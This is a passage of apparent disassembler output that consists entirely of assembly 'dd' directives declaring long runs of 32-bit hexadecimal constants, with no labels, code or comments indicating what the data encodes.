		dd 3D24BFBBh, 0F227E1AEh, 0DF569F81h, 1283AED6h, 0E65E858h
		dd 0F2121172h, 1DAC84Ah, 0A777ADBFh, 0A5A3600Dh, 0E85E79E9h
		dd 8CA601BAh, 7195463Eh, 2029C5C8h, 94970414h, 8514E11Eh
		dd 0E7A2EA8Dh, 309B08Eh, 0E609A979h, 183DC170h,	9C71E401h
		dd 592DF910h, 7ED491D4h, 0B64AFB78h, 82055CB4h,	2AAD0160h
		dd 0CB7A5CB7h, 60616AD5h, 4BC7800Ch, 0FCFE81CCh, 0F4012EF8h
		dd 0FC8FABBh, 207B53C5h, 0C003E793h, 21A6D900h,	4731F214h
		dd 96294CE0h, 0BFC82B00h, 59A79F99h, 0EED18B32h, 0F7802003h
		dd 7B50E9F2h, 579B8D7Fh, 4C1CCBA6h, 951CDA6Fh, 27AAFF88h
		dd 124B32CBh, 2EED6DC1h, 22F3F32Ah, 43BB3B10h, 0E9985EBFh
		dd 9D2B1546h, 92843D4Eh, 0F7C39DEBh, 292B72D4h,	7925F75Bh
		dd 80240113h, 0C0D18789h, 0F1025DEDh, 499EACF2h, 49044231h
		dd 5B315B19h, 6B96704h,	0F8E7982h, 0E041EDDDh, 3188BA2Eh
		dd 8560929Dh, 0CF95710Ch, 0CA06FE7h, 4F04EF7Fh,	6784F0BDh
		dd 127DA8C1h, 24CA76Bh,	0B9E1CB80h, 31BAA075h, 0A429A18Dh
		dd 82FC4FA3h, 0E70E118Ch, 41840160h, 0B8669FD0h, 83EF5F10h
		dd 0BBFFBF3h, 56D80CF3h, 888A9D28h, 4B6C2840h, 8033D813h
		dd 5E17D725h, 3555DABCh, 714309D8h, 5F72015Bh, 9620EF73h
		dd 0EC053125h, 0C782B548h, 0EAC2E251h, 0B8C43E09h, 0F1FE9Fh
		dd 6B6AAABBh, 0DF02811Dh, 457DED36h, 5A737F5Fh,	4A6436F8h
		dd 0DAFCC20Eh, 91FCB5D5h, 0EAF28C14h, 8100FB49h, 7A7EDCCBh
		dd 58CA764Bh, 0DFDF30D3h, 1A0907FAh, 809FA0C5h,	0F945A70Fh
		dd 1E40285h, 9505B3B6h,	30DE04F5h, 0A2E225BCh, 0C1F15729h
		dd 1BCCA000h, 0DC2E6Ch,	1021CA87h, 0BA936933h, 0FB1F3B0Ch
		dd 91205401h, 259D0DEFh, 0A7807F0Fh, 483282B7h,	0EA926931h
		dd 278197DBh, 20FEB642h, 0CF25DF02h, 59BD722h, 0A5C01617h
		dd 0C10C71EAh, 0CDF32A0Dh, 203FEE5Ah, 9F6C9A00h, 0C88E2773h
		dd 0F5D4DF05h, 76F4890Fh, 4DB72751h, 0C9095B5Ch, 0DF9C5729h
		dd 7AAEDD5Bh, 0F2480C81h, 18F7E6DDh, 6EF95A6Ch,	0C795134Dh
		dd 6FC11A04h, 20F5FD60h, 0DF92FB9Eh, 758827F2h,	9C44BF9Eh
		dd 9BD5BB1h, 0A5D7F0BDh, 0A1C1CF09h, 2EA2D7AFh,	25EDD98Ch
		dd 291F79E0h, 26F009AFh, 0C45D1914h, 77C70466h,	0BCB01335h
		dd 0BCEF4912h, 0BE1E5A2Dh, 0C0973525h, 91177999h, 0D7205F1Ah
		dd 0BAEB4A7h, 79BC2D8Bh
		dd 9116902h, 91153757h,	3FF7801Ah, 2739F5CBh, 24F5F203h
		dd 4CB135D4h, 0D032DA6Ah, 0F9BEC131h, 28D4A988h, 0BB50027Ch
		dd 37E91C1Eh, 0DBA06C50h, 9B775B44h, 0DEA75C9Dh, 4A37550Fh
		dd 0BC85E123h, 0C82FC691h, 1F03CF18h, 4969592Fh, 0A8688835h
		dd 0D09201A1h, 5FD98B53h, 578A8281h, 732F8C62h,	0E3F8705Fh
		dd 8929739Dh, 0BA5719CDh, 0A3466Eh, 6037BBA3h, 9F78A576h
		dd 473E6F00h, 0AAD27B67h, 3F40049Bh, 0E153E99Ah, 808E2CE3h
		dd 0C6C8CF36h, 8E2F02BEh, 0E204BF66h, 0A65871DDh, 0F36425ECh
		dd 0DC66F695h, 0D1327A00h, 0B73C4C85h, 0F96E955Fh, 4A31A121h
		dd 0A9572720h, 3FED7D08h, 5845E4C0h, 0A8EDB573h, 34601A64h
		dd 640083ECh, 2322D845h, 9702299Dh, 3E7BB832h, 171A50h
		dd 0B032B335h, 5660E938h, 68DD8FA2h, 24525E40h,	2796159h
		dd 2409A640h, 4D270954h, 6E77CB04h, 8F0F272Ah, 0BC60D4A5h
		dd 0A188D82Eh, 0FA61811Bh, 997DC986h, 97F18102h, 0D5638476h
		dd 64AFFB59h, 0E5769F54h, 0F0716463h, 5F0F2E23h, 0FA70EE8Ch
		dd 79019016h, 2FC702AAh, 649A5791h, 28F1DB5Dh, 0D192017h
		dd 0FA685B00h, 8AC63D1Dh, 0BC092FEh, 39E1E605h,	1B895A37h
		dd 5BE25558h, 60FEEFDFh, 658F98B0h, 0C6EAAE05h,	33C1F448h
		dd 0A67E29F1h, 1A5B072Dh, 7FB0FF31h, 25141B54h,	4FFE273Ch
		dd 0C9D38040h, 40189490h, 261BDE69h, 4F431D02h,	0C9571041h
		dd 4A685F93h, 1256BB05h, 16EAA90h, 0D611EE03h, 0E40BD03Fh
		dd 7412B9BDh, 1A46DE8Ah, 8D83EC39h, 0BEBFA67Fh,	0FEFBB42Dh
		dd 490DE06Ah, 614C3927h, 4E3D3948h, 4F6A7AAFh, 56D04160h
		dd 0A5EF0080h, 8D01F95Bh, 0C7950EB5h, 0F74512D6h, 3B11B087h
		dd 1264F8CCh, 0ABD87714h, 0E000325h, 0DEDAA05Ah, 0FFDC0586h
		dd 0A091A8CCh, 0A52DC710h, 294715Fh, 3271BD23h,	181D5937h
		dd 6AED0367h, 0B4AC1034h, 6E9619F1h, 960E631h, 81028460h
		dd 1D207E61h, 2999E7Ch,	0BBFAEB43h, 795D3D8Ch, 6A8D9C78h
		dd 0F07C9DA0h, 972E8550h, 4F487D4h, 72DE6E36h, 0F1E6A057h
		dd 575FB02Dh, 8B08A01Eh, 5308B19Dh, 2EAEF1C5h, 5FF84C72h
		dd 3876FD90h, 0FC2CF1FDh, 9600E20Dh, 0ACBC2AA2h, 27436640h
		dd 0FA5EB54Eh, 0DDFAE9CEh, 9DBBA730h, 2AAEAF51h, 0EAA917FFh
		dd 61603131h, 963EFE79h, 2F26819Ch, 6D000953h, 3847B9EEh
		dd 691400B6h, 7DE3717Eh, 414C9603h, 3280C0FEh, 0F014CFh
		dd 75DEFB95h, 5B7D2A0Dh, 27216EB5h, 8A743381h, 0D41A565Ah
		dd 427D7013h, 5155A04h,	0FDF6500Bh, 0DAEE5BE4h,	0EFB6D758h
		dd 616B3E01h, 7C6AB748h, 380D8023h, 4D4BF5Ch, 0F855A615h
		dd 0D061BC5Fh, 0F71913BFh, 0C029DFABh, 152E5705h, 78EF7478h
		dd 919F48DDh, 20B9851Ch, 7D8D891Eh, 123A776Dh, 372D555Ch
		dd 0C9B204CCh, 81CCC2B9h, 94970D5h, 28D59D09h, 0D2E95649h
		dd 7CA24E77h, 2AD92529h, 54A539E5h, 6AE3D4E1h, 3026EC8h
		dd 7665A709h, 50405F90h, 9249BCB3h, 0DF808233h,	2135FF55h
		dd 16801D91h, 280A42F3h, 8FCA7D05h, 0B893D907h,	0CBC5D522h
		dd 0C1C79BAFh, 11EB8075h, 64265B49h, 0A9710B27h, 0F8B2602Dh
		dd 39739510h, 37181759h, 0CB707A2Eh, 2DD2D427h,	64C52A59h
		dd 9EECF1A9h, 9D29C005h, 60011905h, 96DFE9C7h, 0C1699E40h
		dd 5B73C50h, 0D4BCC849h, 0CB253D12h, 2A1E20AFh,	530182F5h
		dd 967DDCCCh, 6C894D4Bh, 41B898E6h, 0D19DB70Fh,	0D60E4AEAh
		dd 4255DCBDh, 5422AFAh,	36BC8FF5h, 1ABC2DBDh, 83760B8Ch
		dd 95DFDB6h, 13B5D449h,	4BB1ECC7h, 5E61FE09h, 0D78ED620h
		dd 0F8396D13h, 7D96E430h, 0E8A00018h, 298EF69Dh, 624BF988h
		dd 6F35FB8Ah, 8D9BBE30h, 94BFC0DDh, 67B5A9B2h, 0A846792Ch
		dd 0D548431Ah, 0AC968494h, 9D1604D4h, 0E9C63DB3h, 4B26E869h
		dd 4CD98B47h, 0E9ACC002h, 3AB1250h, 5B0B60C2h, 0A5D21EB7h
		dd 9584E35Ch, 0BE651621h, 0B25BEB6Ah, 57F58972h, 0EB00FFC4h
		dd 0E784F04h, 0B4C5E905h, 0C2D4013Fh, 0C8BF688Bh, 6D009A59h
		dd 0D730231Eh, 63F0CFh,	9C477E82h, 0C5DF3E25h, 8C79FA00h
		dd 7CA94A77h, 0C61D0028h, 72E1DC29h, 0CB006389h, 0C58402BFh
		dd 30DB4130h, 5F55D5DEh, 1DEC198Dh, 0E2C39407h,	0A0EEA498h
		dd 7D2C90F4h, 0DB180727h, 50ECD92Ah, 0E56964B1h, 0D0E13412h
		dd 0FF0E1200h, 187D8875h, 495632BAh, 8D03E1D9h,	0AC99EA63h
		dd 814EE0B7h, 8BFF3077h, 2E261C23h, 2D0F5A60h, 3B10820Eh
		dd 0AF03683Ah, 1885574Bh, 625FA880h, 46BA9E0Eh,	0F77080F2h
		dd 370E16h, 77139B25h, 0F83C6BF9h, 0EC648200h, 872FE43Dh
		dd 4419C0C3h, 0C7B61A7Eh, 1680BF3Ch, 0BF00344Dh, 1F5C0D4h
		dd 0A8C803CDh, 6B1F971Dh, 86FC350Fh, 4BD521A2h,	1780A723h
		dd 15E2DF26h, 0A102032Dh, 9EA9FF24h, 56518345h,	0F2B7D37h
		dd 467B806Dh, 0EB0690D5h, 21B1D559h, 4CC360Ch, 7C70F40h
		dd 42EB55F3h, 6F32A1D5h, 0FD21249Eh, 0CA071014h, 18D94496h
		dd 65592D00h, 30AFBD01h, 8AD60032h, 2FD933B2h, 0C85025A7h
		dd 637BE1A8h, 89506D28h, 0F8DCEB00h, 0D359544Eh, 2944D941h
		dd 538DC2Eh, 4C582101h,	0C465D771h, 0ED32D8C7h,	2410B501h
		dd 75014850h, 0AAA34D81h, 3AFDB55Bh, 0A01F47D8h, 567D6CFh
		dd 0CA3B2110h, 0E5C620BFh, 0E13D0CDEh, 62CB0092h, 7F53271Eh
		dd 65ED001Bh, 43803F2Dh, 0F2999CAh, 28A898C2h, 0ABA24C07h
		dd 19FB65Ch, 0AAF24BA5h, 679A4DCh, 440E421h, 8B02C627h
		dd 32B553B7h, 6EEB80D5h, 7333BD96h, 288064C2h, 0B499201Dh
		dd 76A7036Ch, 0B0D41C21h, 371D39h, 8A262A34h, 0E82789h
		dd 24F966F4h, 4931B03Bh, 91E95000h, 0DD8C84A2h,	156A00CAh
		dd 7857A128h, 5C00B094h, 0F9F40EE8h, 350810h, 4E3DA22Eh
		dd 0A68C5E7Ah, 84F845EAh, 0C26C4000h, 0BF033E4Bh, 78C324CEh
		dd 887F18B7h, 0CF022317h, 0D3D2C67Bh, 2D06239h,	209B29C7h
		dd 0D6DC1C43h, 0FAD9F000h, 0E196CF08h, 9E752Eh,	0DE3D23CDh
		dd 2F266EDAh, 33675B28h, 533A8E00h, 0D6870B46h,	9F000CDh
		dd 147CC0FFh, 0F3008F1Eh, 0E70C9993h, 48B1A29Dh, 8D000954h
		dd 1A6AC6DCh, 355451D5h, 0C6D2BA97h, 8B291670h,	5786127Ah
		dd 456400F3h, 17D7B33Bh, 625832C0h, 0C9633DC4h,	2A13DBC7h
		dd 172E72A8h, 1803A348h, 6465E3E7h, 0F0761Eh, 0B12E3C0Bh
		dd 0A8717773h, 31DF0C00h, 119CC4D9h, 41A008Bh, 6B83493Dh
		dd 3CC9191Fh, 98150090h, 0FA506FB5h, 0D7DE0E75h, 0AF8C16FAh
		dd 0E6032E61h, 67B21BEFh, 0D054B06Ah, 3B1DC0B4h, 0AE3F79C7h
		dd 6E24DC01h, 0F084A55Fh, 20ADD892h, 0D3DE4B8Ch, 0A30AFE00h
		dd 6A977B56h, 769F002Eh, 91CD162Bh, 0EA02700Bh,	9EFC7742h
		dd 585360BDh, 22A600CEh, 0A53A60C0h, 5F3AB35Dh,	4BA880EEh
		dd 887C495Ah, 232A6058h, 23C8C51Fh, 78FBD603h, 0CCDA7A8Fh
		dd 45C906D0h, 0E89001h,	26AAA7F0h, 25AF3E78h, 9EA3F801h
		dd 0D538D62Ah, 39144A80h, 63921EC5h, 5D07FEECh,	9D204F8Dh
		dd 0A3E76B30h, 729B0385h, 5F2C35A2h, 0B900E99Eh, 36211EBDh
		dd 4B77B3h, 207C40EEh, 3C5DD11Bh, 0DCDA4260h, 9AEDA52h
		dd 213A6192h, 7FD04880h, 3B001F2Ah, 359DE657h, 486DD1ECh
		dd 0C10F8F29h, 274299B4h, 2140ADF6h, 0CF003EE8h, 523B8FBAh
		dd 26860A47h, 14D4C4D7h, 7D00F714h, 9F048183h, 0AD01BF8Ah
		dd 0E8063B40h, 0BB24FD0Fh
		dd 0E30D1841h, 2C367C79h, 6EB4F94Bh, 0C6F0207h,	5541E577h
		dd 0E0DAF4A2h, 0A24C036Ch, 5625023Dh, 0C03DED16h, 7EBF585Ah
		dd 0D23603B7h, 7BB0E408h, 0D82B3D00h, 31152074h, 34383F17h
		dd 441FD435h, 0FD21D0BDh, 0CE3F0CB1h, 4C7DCC6h,	0D6F3329h
		dd 2164C076h, 0BD3F9F05h, 0AFFF84AEh, 0FAC0B7B5h, 3EC7EC2h
		dd 2CDAF901h, 7AA8D421h, 4D00788Dh, 58EE209Fh, 0E29C45A6h
		dd 2441B072h, 381A9409h, 2CD5D000h, 2975EEDBh, 22C85300h
		dd 70B7FB8Ah, 0F8743944h, 0F77103Fh, 4FA39730h,	340112C0h
		dd 0DF00D540h, 7F0498CEh, 0F6224EEDh, 0F6C31FD4h, 0C6310F02h
		dd 610B25A0h, 141EBCCDh, 3FC04E60h, 184D39ADh, 0C22E0640h
		dd 0F1C68F8h, 0E7749300h, 0DB61C5BDh, 0BB4400B8h, 0B331E4A3h
		dd 0F613EA9Ah, 900976Dh, 9582764Bh, 0EDA31EC7h,	0DD3100DAh
		dd 0FC116B33h, 0C5F248E5h, 0B5078128h, 8021463Ch, 83A27CA3h
		dd 59425B34h, 0C0600A7Fh, 84B20879h, 85BD39h, 0AF1760C9h
		dd 75B45Ah, 0FC523705h,	0E5D9AD81h, 27D6DCE9h, 57BAD476h
		dd 3A640810h, 0F0051275h, 164C0050h, 0E46D82A2h, 69397900h
		dd 384DB233h, 92D6780Dh, 66BC0073h, 4A4EEB5Fh, 412652BBh
		dd 0CA003374h, 45A526A2h, 51A90C35h, 7A0FF591h,	0D03E6E0h
		dd 0D84C97E0h, 231900ACh, 0D4AEF004h, 41F4C83Eh, 26996D12h
		dd 844E4590h, 0D4DE009Ch, 57A009FDh, 2700967Ah,	0AB12E6D1h
		dd 69B6F52h, 63D7EE32h,	20199BAh, 8871C5FCh, 0DD84079h
		dd 0E43DB0FAh, 0E2890652h, 6304C281h, 4EA833Bh,	5C241487h
		dd 37689FE0h, 8D1E2FF2h, 1F63E018h, 0F0C11CFh, 16972251h
		dd 0D36310h, 4C48312h, 88C18149h, 48DC5D1Dh, 6B14F180h
		dd 6895FFCh, 0FD6859CAh, 2471491Ch, 452015BEh, 0EC685978h
		dd 8F833D0Eh, 64FF0841h, 22C42096h, 8957018Bh, 44C7F1E7h
		dd 8706210Ch, 0E9D6803Ch, 0FFFB5A6Eh, 75CC011Ah, 0B80FA743h
		dd 610FC49h, 0EC5033Fh,	0BC92E0h, 0A9983717h, 0CFB10009h
		dd 6FC31A80h, 700712FEh, 385244D2h, 297B5BD0h, 6DC403C8h
		dd 20CC1602h, 652D4ED8h, 3CE68CEAh, 0B700B97Ah,	0E035F14Ch
		dd 17A163Eh, 1AA10A8Ah,	0DDF647C4h, 87F5EA79h, 27005536h
		dd 397C69EBh, 0CC5AD245h, 0BB176612h, 88AF7F1Dh, 0E81CB1E8h
		dd 44403174h, 0FB370CBFh, 0F6D90230h, 905071E2h, 73DC0176h
		dd 29D4BDB8h, 0E99340DEh, 0A76F2D41h, 30D1652h,	0C0889EBAh
		dd 2798D8EBh, 0D12B059Dh, 0F4BD317Ch, 845B0F21h, 0A2414EB6h
		dd 801027ECh, 232DF781h, 383E6332h, 50408990h, 7EF8BF7Fh
		dd 44F767Ah, 54F0B4B6h,	680042D9h, 86C80F5Ch, 27099816h
		dd 0F644D19Dh, 4BCB8017h, 0EB4A5DA2h, 2A611CCh,	66D2FF42h
		dd 0A7D2B64Dh, 11C6902Fh, 28C026B8h, 99B70BB3h,	30F7D9BAh
		dd 0B98B0FC7h, 819E3E65h, 16615CCFh, 0B220B616h, 1C103018h
		dd 6F880F0Ah, 6109F89h,	1C56BD72h, 1AECFF93h, 9CF5FD25h
		dd 537F65B8h, 68A1AC60h, 0E200CF45h, 6A6197EBh,	0DC8FB602h
		dd 34EB6517h, 0B61649A8h, 0A735B8BAh, 121D6187h, 0B1EC5FBh
		dd 11A29093h, 0EA52AA4Eh, 23DD6BEFh, 562C0015h,	0C0F5D5BBh
		dd 0CF075975h, 0E963E567h, 641CF7EBh, 4B581948h, 0C5BCB5B9h
		dd 0DA927BDh, 0E776D6F9h, 0AA716531h, 0F900BFF2h, 4402BB50h
		dd 7CF54BD2h, 57788076h, 32C32Bh, 0D42942A0h, 525CDD6Fh
		dd 0AC372704h, 73EB79ADh, 1FD29591h, 0EB810216h, 75D5EEDFh
		dd 51045BD7h, 5323617h,	7D573ABDh, 2D63A2EEh, 7540406Ah
		dd 0B5BA832Eh, 16225455h, 221EB6F5h, 40C39D09h,	0FEB08B2Dh
		dd 0B1B90B7h, 0D05170E6h, 1E409D43h, 0B790D781h, 6B299D2Dh
		dd 0BD20E417h, 0D4950809h, 963853D8h, 35FECF15h, 0BD30FE09h
		dd 778E1Ch, 0E4293222h,	1C18BB5h, 16BEBD4Fh, 8FB1F88Ch
		dd 2BC1904Dh, 0F5F88AC8h, 0E9DCD0D1h, 95F9C65h,	0D0BCF413h
		dd 6A818D8Dh, 47550903h, 19502F49h, 2E183209h, 85014E53h
		dd 3693A573h, 126B9FBEh, 76F21Bh, 0ACCBB840h, 0F295E1h
		dd 0F0116048h, 5EA9CDE8h, 0E4C3850Dh, 88A73677h, 0FBDF5DE2h
		dd 0B35F2D50h, 0D18C11B6h, 539220Ah, 29A597BBh,	5A38B85Dh
		dd 4A8A368Ch, 372EBFEh,	1A627F29h, 0A22F1475h, 507D004Eh
		dd 69EDBD0Bh, 4C5D280Dh, 9EEE2003h, 9557190h, 9CB96FA2h
		dd 0B00509BCh, 0C5AA3CE9h, 0DC6FC55Eh, 74F65A4Dh, 0BDF601D4h
		dd 0AAEEEC51h, 7A0C73AFh, 0FCFB8300h, 44C48616h, 0C0640EA0h
		dd 249ED430h, 48B909F9h, 0B1D6442Eh, 87DC6F31h,	2F2941FDh
		dd 97B820A9h, 7F0F690Eh, 0FF0B4288h, 95B64056h,	2B5F8031h
		dd 79DBC05Bh, 378F7A83h, 0D22B52F8h, 67C8B72Dh,	0D98B8B45h
		dd 0A17017D3h, 2FD54D54h, 50A01B20h, 569717B9h,	260C60BDh
		dd 71483D08h, 6C02D38Fh, 0DF5FD459h, 0A9C620B8h, 0D92A410Fh
		dd 880DE4C8h, 82549FEAh, 0F7899509h, 60893753h,	2B10F503h
		dd 0BAB561FCh, 0D4597437h, 0B6B0101Eh, 0B1E4F581h, 0E23E6CF2h
		dd 8C17EC2Ch, 0E3A9680Bh, 2D9C82B5h, 0E7F37529h, 1D556E78h
		dd 6D5AA921h, 4E0038E4h, 0F4FF140Ch, 456C999h, 31297950h
		dd 0F3C8AAACh, 0D8C20073h, 0C9469A69h, 0B4006FF5h, 0FAACEE16h
		dd 534952D6h, 2700FA5Fh, 0C024B893h, 800A1F0h, 0E87602Eh
		dd 0B7CBA3Ah, 79723574h, 4A459C59h, 4FB7BFAh, 972FFD8Dh
		dd 85A9D8FBh, 8C6E2E41h, 9D172B3Fh, 9DBA1871h, 34820C5h
		dd 7320E189h, 59D69769h, 65179971h, 0CB34E886h,	2134F7FAh
		dd 14B5DC92h, 4582F1Dh,	9BD0EF5Bh, 45095E9h, 0E9ADD84Fh
		dd 0E055F64Ah, 75E091CEh, 91A0293h, 6BB3D0AFh, 3A2B0CD6h
		dd 0B1F42C79h, 4F712592h, 201E1h, 0B8F28B60h, 81B573C0h
		dd 144B6B61h, 744FDDB4h, 8B33CA40h, 32D49570h, 1FADBD04h
		dd 8505A2AEh, 0F6AA2729h, 0E1B45A22h, 108BB5ACh, 40C56F77h
		dd 0E073CAE9h, 57A2A517h, 0DF902A30h, 0A4A002Ch, 5A78EAA0h
		dd 22938A0Fh, 0D9609089h, 4B991ED1h, 3C80DF31h,	0CF0F3969h
		dd 712F0B27h, 305992AFh, 601D85EAh, 83AE9C1Ch, 0D2925880h
		dd 9FEFE4BBh, 5A4F26C0h, 4A7D8BDh, 53F8A983h, 0E040E690h
		dd 5AD4FDFh, 0AECF6CAAh, 0DD20EFACh, 7D86438h, 52AB022Bh
		dd 64F2C68Ch, 0D6BF0F27h, 3FB40FF2h, 0F11BE0D2h, 0EAA35297h
		dd 54DF254Fh, 0F572257Bh, 0DEA75AFBh, 32B9E231h, 0AC9453DFh
		dd 67714017h, 0D200EC75h, 0A6FE6645h, 1303BD08h, 0ACB4DA56h
		dd 1E00AA72h, 0A485B9CCh, 635A3BAEh, 0C9736CACh, 7D2BD587h
		dd 7570B073h, 2FF44938h, 8520BED2h, 7ECAA2h, 7B0C436Ch
		dd 152A55C1h, 665FF52Dh, 0B59181AEh, 2E5151F2h,	0B5752557h
		dd 53312502h, 3DC420A2h, 0C5FFBB05h, 0B9AC0E2Dh, 0BFD453CBh
		dd 5F241610h, 45AD3854h, 2691B575h, 36DDE00Ch, 661FE190h
		dd 8992B3BBh, 1B76FBBh,	7C1CAF05h, 4EC46FF6h, 60480B29h
		dd 485D8501h, 40C9B5F3h, 0D6BF6102h, 0ACDBC5AEh, 29DB4BCBh
		dd 0A8CA1C81h, 0D94A800Fh, 70BE6096h, 1D9103C9h, 880CFCBAh
		dd 5A50763Fh, 908234DBh, 0FB8B01B9h, 459DA952h,	1E115068h
		dd 2E684600h, 0F8EA379h, 27119989h, 0EE8A4530h,	0D11D0299h
		dd 5C717BC9h, 67F3407Bh, 0E20B0997h, 0D7858D3Ah, 2362CF4Fh
		dd 359D702h, 63CAF900h,	0ED8A601Eh, 0AB86D4B5h,	6528F6C2h
		dd 31702F17h, 0BD612140h, 45AD0179h, 152EB10Ch,	0EA386A2Ah
		dd 0CA4FBF5Bh, 408C9060h
		dd 0C9280206h, 10E9D0D7h, 453C5220h, 0F1CD0020h, 0A03EDEC2h
		dd 0F509C71Eh, 0C469D01Dh, 18CA12Bh, 37C6EEh, 0D20927C4h
		dd 46747780h, 0ADF2F339h, 91B155D1h, 27B82B5Fh,	3FBD96EBh
		dd 5EA11857h, 68D343Fh,	0C9B171B7h, 238725F6h, 0F7CA259Dh
		dd 0DEFF8B7Ah, 0A113F4FFh, 0DBB34948h, 978B301h, 3A0BBD85h
		dd 0A65E20CBh, 63DBA05Dh, 0BC7B12F9h, 6271FE8Fh, 9C7A202Dh
		dd 0EF5FB34Eh, 25D4DAADh, 481440DFh, 0E3DEC142h, 271E8000h
		dd 0B966D633h, 5A06178Dh, 5BCDB050h, 3AB66176h,	3612574Bh
		dd 4041674Fh, 0C83B682Eh, 0CB006951h, 0CC179BEFh, 708C0h
		dd 2415178h, 297E70D9h,	95DD44B5h, 0DE95DFD0h, 6C27F671h
		dd 0CEBBD4B2h, 0DAFD0071h, 4E98B989h, 517B0AFCh, 16842362h
		dd 0BB7D02D8h, 7377ED4Dh, 2384F80Eh, 0DE3B9B01h, 319EA435h
		dd 68965C9Ch, 429B5B9h,	0E0EAED7Fh, 0D151686Dh,	20C92A5Ah
		dd 0B96EB97Eh, 0B0ACC02Eh, 5099D71h, 7540BD5Fh,	93E42A6Fh
		dd 0A8D520BEh, 0DE00181Bh, 8ACBAEF4h, 0B520BA96h, 0E6D73E89h
		dd 0A1BD1615h, 338DFE15h, 0C018F83Fh, 0BD23901Ah, 1825E711h
		dd 2733AC2Bh, 0B975BB7h, 38776CB3h, 40BDF3B6h, 9D13BB13h
		dd 65BFAB6Dh, 2AE4C856h, 391E3A0Eh, 60A28E66h, 3790FC5Dh
		dd 6B5B5E9Fh, 161423C6h, 95F60E1Eh, 0BB500110h,	7F79D49Ch
		dd 0E9EEAD6Fh, 0CE81C729h, 7F7EA68Ch, 9FB9C480h, 0BA61038Eh
		dd 697135DDh, 0D019ADB5h, 0BB8FC32h, 5738C6DAh,	0FD7DC275h
		dd 5425716Dh, 8C12DC7Ah, 730662Ah, 626FD3h, 1BFD2161h
		dd 0D7809B1Fh, 965B3E09h, 0EFB30752h, 0E69008EBh, 22C4F56Bh
		dd 13985F97h, 8601BCBBh, 965F3692h, 0CA3AF98Bh,	0D4E4A028h
		dd 275AB0B8h, 255B2B39h, 0E1181979h, 9E4D5E09h,	6935DCF8h
		dd 0F5DA9DDCh, 6BD98739h, 1823076Bh, 450CDE2Dh,	0A2F9A8F5h
		dd 0D381206Eh, 312D6433h, 64D54D63h, 385B6019h,	0AA027EAh
		dd 0D5200E50h, 0EDFAC629h, 0CE1CDC1Fh, 5527C661h, 26009E37h
		dd 0E9958EEAh, 6043262Fh, 0A19274Ah, 0D62F30CFh, 0CF4B79B7h
		dd 14D789CBh, 3B4D007Bh, 0B760FE18h, 0C400ABBCh, 0D2DC6B4Bh
		dd 0B05A595h, 0E6E9D797h, 70B70558h, 4ABF7339h,	7C9A20Dh
		dd 0CE7F25A9h, 66178B90h, 3F75BAh, 36DBF5Bh, 0C3815829h
		dd 0CCBD60E8h, 93B200B5h, 2654DC95h, 58751040h,	0DF6968F4h
		dd 207850A9h, 61042AA1h, 49BD3159h, 33FF69D1h, 8AFF62Fh
		dd 32A985h, 81F38B58h, 711EB8F0h, 7D2D5FD9h, 0C080D72Fh
		dd 7E0D3A5Bh, 6158DC95h, 401779BDh, 477B1112h, 0BE660402h
		dd 75504AEBh, 8F0974F1h, 18721803h, 0E815776Ch,	4E31005Bh
		dd 0ACF4A49Bh, 8102F058h, 484694EBh, 0DD6055Ah,	0FC139088h
		dd 0D31880EEh, 85DC7DF6h, 0FEF1B58Fh, 3F0AE200h, 0EDDA999h
		dd 0CC211CEBh, 76435340h, 3B012C22h, 0DBEF8312h, 3FC0A5EDh
		dd 89D66F5h, 2B032166h,	4A89EF8Bh, 72103AD8h, 1B13007Eh
		dd 7693E8FFh, 910EA5F0h, 4027212Dh, 0E99958D3h,	22D70F1Bh
		dd 0E363EFC1h, 211B1DA1h, 2348892Eh, 43E5D88h, 95EDD5EFh
		dd 35201C62h, 33EF91h, 0BFC052E4h, 0A51B175Eh, 0C8217760h
		dd 663E356h, 241CD8E8h,	723A1968h, 4AD00CB8h, 0C211DEh
		dd 58D27C4Bh, 0A1761EA8h, 301F603Ah, 539B21CDh,	59EC037Ch
		dd 0C8AC712Bh, 4C73B800h, 0DC6F24E1h, 303B7546h, 22302F3Ah
		dd 0B700D50Ch, 16EEA587h, 0CCFEADDEh, 6E211108h, 0D3B7ED07h
		dd 2380C492h, 0A0075991h, 14B2A490h, 0E35C3036h, 0C33D6900h
		dd 89046308h, 0E34EE4FDh, 0F1EBAE00h, 6DF83498h, 0A6A900D2h
		dd 1D8B9BF9h, 1E0038EFh, 0E48AFD84h, 0B209Ah, 513CBBD9h
		dd 1D1AD659h, 4B64CB02h, 0E0941C78h, 0D02B3Ch, 205DB5D9h
		dd 0BFDBCCD5h, 0EB0E1800h, 329D7E74h, 7D620099h, 0F1B0753Ch
		dd 770036BCh, 9E2C6957h, 0FC2CEDEh, 0E4F685BEh,	679D8C20h
		dd 6EF832E6h, 5700957Ah, 124FBC5Ah, 60E39Bh, 0E79FC1A1h
		dd 0A2C63F27h, 96053Ah,	63F52DF7h, 0E81C9335h, 14291C8Ah
		dd 0A1307A8Bh, 357BD621h, 64D76F00h, 0D457854Eh, 156A004Fh
		dd 10A45A0Ch, 22009972h, 0D5680F8Bh, 30E9B394h,	8340C50Dh
		dd 0CE3A7C95h, 0CD10602Ah, 3510BE3h, 0EBAA39A4h, 830C9ACh
		dd 0DBE721D2h, 0E2CAE60Bh, 28E500D8h, 516D6463h, 0EA1CC9F0h
		dd 0EF434A27h, 67CC9EDDh, 414D38A0h, 80F2EEDBh,	568F9711h
		dd 0CBA6F65h, 0EA74CAE9h, 21C09B08h, 0E85697A9h, 792760CCh
		dd 913ABE28h, 0C466DA06h, 3C92938h, 18C7DC77h, 10029F69h
		dd 0EBD91487h, 0FEA480B6h, 0C0996058h, 0CA071E98h, 52079A39h
		dd 16461CCBh, 41E0D177h, 3FEF8h, 58679815h, 91BA8C4h, 1A3CBF00h
		dd 46BBF251h, 0E0C11D4Fh, 56F04796h, 0C77CD09Ah, 15005EA4h
		dd 11FE6D5Bh, 74065FCFh, 0E8F0F507h, 0FCD207A9h, 23315270h
		dd 8308389h, 0B04A21FFh, 0B6F00ED2h, 57408248h,	8E843FC7h
		dd 19B3700h, 592D7B2Ah,	1F9F0045h, 12670A5Bh, 18608C6Fh
		dd 0E8440840h, 0C2F50EB5h, 9FE6D30Fh, 0CF0C2817h, 6918D216h
		dd 404CAD2Eh, 43615AD1h, 0C0532F0Fh, 0C0B90F38h, 0C609EF86h
		dd 8513093h, 0A0914930h, 0A5901467h, 0CAE6A187h, 0ACEF00A1h
		dd 59442113h, 4C330FB2h, 0E80851h, 13A48C21h, 6291D62Ch
		dd 236E3B00h, 0FDCBF32Eh, 0B461C367h, 4ED8B0E7h, 16187A3Dh
